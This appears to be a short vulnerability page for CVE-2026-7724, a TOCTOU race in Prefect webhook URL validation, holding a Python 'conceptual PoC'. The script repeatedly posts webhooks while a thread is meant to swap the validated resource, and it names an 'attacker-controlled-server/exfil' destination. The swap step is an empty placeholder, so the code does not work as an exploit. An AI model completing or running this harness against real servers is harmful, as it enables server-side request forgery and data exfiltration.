CVE-2026-7724 Prefect Webhook TOCTOU漏洞

import threading import time import requests # Conceptual PoC for CVE-2026-7724 (TOCTOU) # This script attempts to exploit a race condition between URL validation and usage. TARGET_URL = "http://target-prefect-server/api/hooks/test" MALICIOUS_URL = "http://attacker-controlled-server/exfil" def attacker_thread(): # Simulate changing the resource or state after check print("[+] Attacker thread: Waiting for validation window...") time.sleep(0.05) # Adjust timing based on network latency # In a real scenario, this might involve changing a DNS record, file symlink, or database entry print("[+] Attacker thread: Swapping target resource!") # Code to swap resource would go here pass def victim_request(): print("[+] Victim thread: Initiating Webhook creation...") # Start the attack thread t = threading.Thread(target=attacker_thread) t.start() # Send the request that triggers the validation payload = { "name": "race_condition_test", "url": "http://safe-internal-url" # Passes initial validation } try: response = requests.post(TARGET_URL, json=payload) print(f"[+] Response status: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") t.join() if __name__ == "__main__": # Run multiple attempts to hit the race window for i in range(10): print(f"Attempt {i+1}") victim_request()